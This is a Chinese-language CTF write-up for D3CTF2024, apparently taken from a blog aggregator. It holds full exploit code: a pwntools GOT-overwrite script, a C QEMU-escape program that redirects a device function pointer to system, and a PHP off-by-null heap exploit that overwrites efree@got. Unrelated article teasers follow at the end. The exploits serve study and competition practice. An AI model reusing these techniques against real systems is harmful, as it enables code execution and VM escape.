D3CTF2024

文章目录

  • 前言
  • note
  • write_flag_where【复现】
  • D3BabyEscape
  • PwnShell

前言

本次比赛笔者就做出两道简单题,但队里师傅太快了,所以也没我啥事。然后 WebPwn 那题命令行通了,但是浏览器不会调试,然后就简单记录一下。

note

  • 只开了 NX 和 Canary,所以可以打 got 表
  • 数组越界,可上溢、可下溢
  • 泄漏 libc_base,然后打 free@got 即可

关键数据结构如下:
在这里插入图片描述
exp 如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''def add(idx, size, data):sl(byte(276))sleep(0.5)sl(byte(idx))sleep(0.5)sl(byte(size))sleep(0.5)sl(data)sleep(1)def show(idx):sl(byte(1300))sleep(0.5)sl(byte(idx))def free(idx):sl(byte(6425))sleep(0.5)sl(byte(idx))sleep(1)def edit(idx, data):sl(byte(2064))sleep(0.5)sl(byte(idx))sleep(0.5)sl(data)#gdb.attach(io, "b *0x401422")add(1, 0x10, b'/bin/sh\x00')
show(-1460)
libc_base = addr8(6) - 0x1d46a0
info("libc_base", libc_base)pay = p64(libc_base+0x1d46a0) + p64(0)*3 + p64(8) + p64(0x404000)
edit(-1460, pay)edit(0, p64(libc_base+libc.sym.system))
free(1)#pause()
#debug()
sh()

write_flag_where【复现】

题目给了源码,程序会先输出 libc_base 地址,然后循环往 libc 代码段写入 flag,这里 flag 的长度是已知的,并且知道其格式为 d3ctf{[a-f0-9]*},所以这里往 libc 代码段写入的值就是 [a-f0-9],由于其是未知的,所以这里得进行爆破

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>#define FLAG_PREFIX "d3ctf{"
#define FLAG_PREFIX_LENGTH (sizeof(FLAG_PREFIX)-1)
#define FLAG_SUFFIX "}"
#define FLAG_SUFFIX_LENGTH (sizeof(FLAG_SUFFIX)-1)
#define LIBC_NAME "libc"char maps[0x1000], flag[0x100];
uint64_t libc_code_addr_start, libc_code_addr_end;void write_mem(uint64_t addr, uint8_t byte) {int fd = open("/proc/self/mem", O_RDWR);lseek(fd, addr, SEEK_SET);write(fd, &byte, 1);close(fd);
}void init() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stderr, NULL, _IONBF, 0);FILE* maps_stream = fopen("/proc/self/maps", "r");int count = 1;char *line = NULL;uint64_t len = 0;uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;char mode[0x10], file_path[0x100];memset(mode, 0, sizeof(mode));memset(file_path, 0, sizeof(file_path));while (getline(&line, &len, maps_stream) != -1 ) {sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",&addr_start, &addr_end, mode, &offset,&major_id, &minor_id, &inode_id, file_path);if (count == 10) {libc_code_addr_start = addr_start;libc_code_addr_end = addr_end;break;}count++;}if (line) {printf("%s", line);free(line);}fclose(maps_stream);int fd = open("/flag", O_RDONLY);read(fd, flag, 0x100);close(fd);
}int main(int argc, char *argv[]) {init();uint64_t addr = 0;uint offset = 0;printf("flag: "FLAG_PREFIX"[a-f0-9]{%lu}"FLAG_SUFFIX"\n", strlen(flag) - FLAG_PREFIX_LENGTH - FLAG_SUFFIX_LENGTH);while (scanf("%lu%u", &addr, &offset) == 2) {if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||!(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))break;write_mem(addr, flag[offset]);}return 0;
}

这里主要参考星盟的 wp,具体后面再看看吧(:脑袋有点晕

D3BabyEscape

简单的 qemu 逃逸,题目维护的结构体如下:
在这里插入图片描述
其中 content 数组存在越界读写,从而导致可以读写 func 域,func 初始被设置为 rand_r 库函数,所以可以先利用越界读泄漏 libc_base,然后利用越界写修改 func 为 system 地址。而在 l0dev_mmio_write 函数中会调用 func 函数:
在这里插入图片描述
这里似乎只能传入 4 字节,所以传入 sh 即可完成逃逸,exp 如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/io.h>void *mmio_mem;void mmio_write64(size_t offset, uint64_t value) {*(uint64_t *) (mmio_mem + offset) = value;
}uint64_t mmio_read64(size_t offset) {return *(uint64_t *) (mmio_mem + offset);
}void mmio_init() {int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);mlock(mmio_mem, 0x1000);
}uint32_t pmio_mem;void pmio_write(uint32_t offset, uint32_t value) {outl(value, pmio_mem + offset);
}uint32_t pmio_read(uint32_t offset) {return inl(pmio_mem + offset);
}void pmio_init() {iopl(3);FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
}int main() {mmio_init();pmio_init();mmio_write64(128, 28);long long libc_base = mmio_read64(31*8) - 0x46780;long long system = libc_base + 0x50D70;printf("libc_base: %#llx\n", libc_base);mmio_write64(0, 666);pmio_read(0);pmio_write(31*8, system&0xffffffff);pmio_write(31*8+4, (system>>32)&0xffffffff);//char cmd[16] = "/bin/sh\x00";char cmd[16] = "sh\x00";mmio_write64(64, *(long long*)cmd);return 0;
}

PwnShell

phpPwn,一个 off by null 漏洞,然后命令行启动打通了,浏览器不想调了,就这样吧。题目维护的结构体如下:
在这里插入图片描述
这里利用 off by null 去进行堆重叠,使得一个 data chunk 和一个 control chunk 重合,这样就可以实现任意地址读写了,泄漏 libc_base 然后覆写 efree@got 即可。这里泄漏 libc 可以直接包含 /proc/self/maps 泄漏,所以关键就是覆写 efree@got 罢了(:

然后打远程是要通过 Apache 的,然而在比赛时,我一直在命令行上调,最后远程一直打不了,给我搞崩溃了(:其实本地通过 Apache 也打不了,最开始调试方向就错了

贴个本地命令行 exp:

<?phpfunction tobytes($integerValue, $byteLength) {$byteString = '';for ($i = 0; $i < $byteLength; $i++) {$byteString .= pack('C',$integerValue & 0xFF);$integerValue >>= 8;}return $byteString;}function get_addr($sss, $llen) {$decimalValue = 0;for ($i = 1; $i <= $llen; $i++) {$char = $sss[-$i];$digit = ord($char);$decimalValue = ($decimalValue << 8) | $digit;}return $decimalValue;}$libc = "";$stack = "";function callback($buffer){global $libc,$stack;$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';$p = '/([0-9a-f]+)\-[0-9a-f]+ .*  \[stack\]/';preg_match_all($p, $buffer, $stack);preg_match_all($p1, $buffer, $libc);return "";}ob_start("callback");$a="/proc/self/maps";include($a);$buffer=ob_get_contents();ob_end_flush();callback($buffer);$stack = hexdec($stack[1][0]);$libc_base = hexdec($libc[1][0]);echo dechex($stack);echo "\n";echo dechex($libc_base);echo "\n";addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");editHacker(2, "\x00\x00\x00\x00\x00\x00\x00\x00");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");$efree = $libc_base - 0x2cf1fc0-8;$system = $libc_base + 0x4c490;echo "PWN\n";editHacker(2, tobytes($efree, 6));editHacker(5, tobytes($system, 8));addHacker("/readflag\x00", "/readflag\x00");removeHacker(7);?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/8591.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

封装Springboot基础框架功能-03

在些模块中汇总了一些web开发常用的配置和功能。 模块源码结构 Restful API常用定义 QueryParam请求参数 Data public class QueryParam {private String key;private String value; }RestfulController实现 RestfulController.java&#xff0c;主要汇总一些常用的restful的…

CV每日论文--2024.4.29

1、Make-it-Real: Unleashing Large Multimodal Models Ability for Painting 3D Objects with Realistic Materials 中文标题&#xff1a;实现高仿真3D物体绘制:释放大型多模态模型的能力 简介&#xff1a;物理材料对于增强不同应用场景和光照条件下的3D资产的逼真感至关重要…

4.26.7具有超级令牌采样功能的 Vision Transformer

Vision Transformer在捕获浅层的局部特征时可能会受到高冗余的影响。 在神经网络的早期阶段获得高效且有效的全局上下文建模&#xff1a; ①从超像素的设计中汲取灵感&#xff0c;减少了后续处理中图像基元的数量&#xff0c;并将超级令牌引入到Vision Transformer中。 超像素…

应用软件安全保证措施方案书

系统安全保证措施方案—word原件 软件全套资料进主页获取或者本文末个人名片直接获取。

html的标签

基础标签 标签描述<h1>-<h6>定义标题&#xff0c;h1最大&#xff0c;h6最小<font>定义文本的字体&#xff0c;字体尺寸&#xff0c;字体颜色<b>定义粗体文本<i>定义斜体文本<u>定义文本下划线<center>定义文本居中<p>定义段落…

嘎嘎好用的虚拟键盘第二弹之中文输入法

之前还在为不用研究输入中文而暗自窃喜 这不新需求就来了&#xff08;新需求不会迟到 它只是在路上飞一会儿&#xff09; 找到了个博主分享的代码 是好使的 前端-xyq 已经和原作者申请转载了 感谢~~ 原作者地址&#xff1a;https://www.cnblogs.com/linjiangxian/p/16223681.h…

【Linux进程间通信(六)】深入理解 System V IPC

&#xff08;一&#xff09;引入 &#xff08;二&#xff09;IPC 命名空间 &#xff08;三&#xff09;ipc_ips结构体 &#xff08;四&#xff09;ipc_id_ary结构体 &#xff08;五&#xff09;kern_ipc_perm结构体 &#xff08;六&#xff09;操作系统对IPC资源是如何管理…

视频提取gif怎么制作?试试这个网站一键转换

通过把视频转换成gif动图的操作能够更加方便的在各种平台上分享和传播。相较于视频&#xff0c;gif图片具有较小的文件体积&#xff0c;gif动图能够快速的加载播放&#xff0c;不需要等待就能快速欣赏。很适合从事新媒体之类的小伙伴&#xff0c;可以用来做展示、宣传等。想要实…

刷题训练之模拟

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;熟练掌握模拟算法。 > 毒鸡汤&#xff1a;学习&#xff0c;学习&#xff0c;再学习 ! 学&#xff0c;然后知不足。 > 专栏选自&#xff1a;刷题训…

vue 路由url中去掉#

修改前效果 想要去掉/# 如何实现&#xff1f; 1、typeScript中去掉url中# 找到项目中的router/index.ts-----------去掉createWebHashHistory中的Hash 将createWebHashHistory修改为createWebHistory 2、javaScript中去掉url中# 找到项目中的router/index.js-----------添加…

基于Nios-II的流水灯

基于Nios-II的流水灯 一、Qsys设计&#xff08;一&#xff09;新建项目&#xff08;二&#xff09;Platfrom Designer&#xff08;三&#xff09;设置时钟主频&#xff08;四&#xff09;添加Nios-II Processor并设置&#xff08;五&#xff09;添加JTAG并配置&#xff08;六&a…

做外贸用什么邮箱比较好?

外贸公司在推进公司业务时需要频繁进行跨国沟通&#xff0c;选择一款专业且功能强大的企业邮箱作为业务沟通工具至关重要。外贸企业邮箱需要满足5个基本内容&#xff0c;国际收发能力、安全稳定性、专业形象展示、功能完备性、客户服务与技术支持。本文将探讨做外贸时适合使用的…

Tkinter组件:Checkbutton

Tkinter组件&#xff1a;Checkbutton Checkbutton&#xff08;多选按钮&#xff09;组件用于实现确定是否选择的按钮。Checkbutton 组件可以包含文本或图像&#xff0c;你可以将一个 Python 的函数或方法与之相关联&#xff0c;当按钮被按下时&#xff0c;对应的函数或方法将被…

游戏全自动打金搬砖,单号收益300+ 轻松日入1000+

详情介绍 游戏全自动打金搬砖&#xff0c;单号收益300左右&#xff0c;多开收益更多&#xff0c;轻松日入1000 可矩阵操作。 项目长期稳定&#xff0c;全自动挂机无需人工操作&#xff0c;小白&#xff0c;宝妈&#xff0c;想做副业的都可以。

elementui+vue通过下拉框多选字段进行搜索模糊匹配

从字典中选择的值为["01","03"],在最开始的时候进行的处理是类似于表单提交的时候将json对象转换成了String类型 nature:["01","03"] this.queryParams.nature JSON.stringify(this.queryParams.nature); mapper层 <if test&quo…

springboot+vue+mybatis图书推荐管理系统的设计与实现+PPT+论文+讲解+售后

随着我国经济的高速发展与人们生活水平的日益提高&#xff0c;人们对生活质量的追求也多种多样。尤其在人们生活节奏不断加快的当下&#xff0c;人们更趋向于足不出户解决生活上的问题&#xff0c;图书推荐管理系统展现了其蓬勃生命力和广阔的前景。与此同时&#xff0c;为解决…

亲测快捷高效的编写测试用例方法

前言 测试用例是任何测试周期的第一步&#xff0c;对任何项目都非常重要。如果在此步骤中出现任何问题&#xff0c;则在整个软件测试过程中都会扩大影响。如果测试人员在创建测试用例模板时使用正确的过程和准则&#xff0c;则可以避免这种情况。 在本篇文章中将分享一些简单而…

Shell变成规范与变量

目录 1. Shell脚本 1.1 Shell脚本概述 1.2 Shell的作用 1.3 Shell脚本的构成 2. 重定向与管道操作 2.1 交互式硬件设备 ​ 2.2 重定向操作 3. shell变量 3.1 自定义变量 3.2 变量的作用范围​编辑 3.3 整数变量的运算 4. 环境变量 4.1 特殊的Shell变量 4.2 只读变…

鸿蒙开发接口Ability框架:【@ohos.application.formProvider (FormProvider)】

FormProvider FormProvider模块提供了卡片提供方相关接口的能力&#xff0c;包括更新卡片&#xff0c;设置卡片更新时间&#xff0c;获取卡片信息&#xff0c;请求发布卡片等。 说明&#xff1a; 本模块首批接口从API version 8开始支持。后续版本的新增接口&#xff0c;采用上…

机器人系统可以支持对接人工系统吗?

​ 随着科技的飞速发展&#xff0c;机器人系统在各行各业都扮演着越来越重要的角色。它们可以高效地处理大量数据&#xff0c;执行繁琐的任务&#xff0c;甚至在某些领域超越了人类的能力。然而&#xff0c;机器人系统也有其局限性&#xff0c;特别是在处理复杂的人际交往…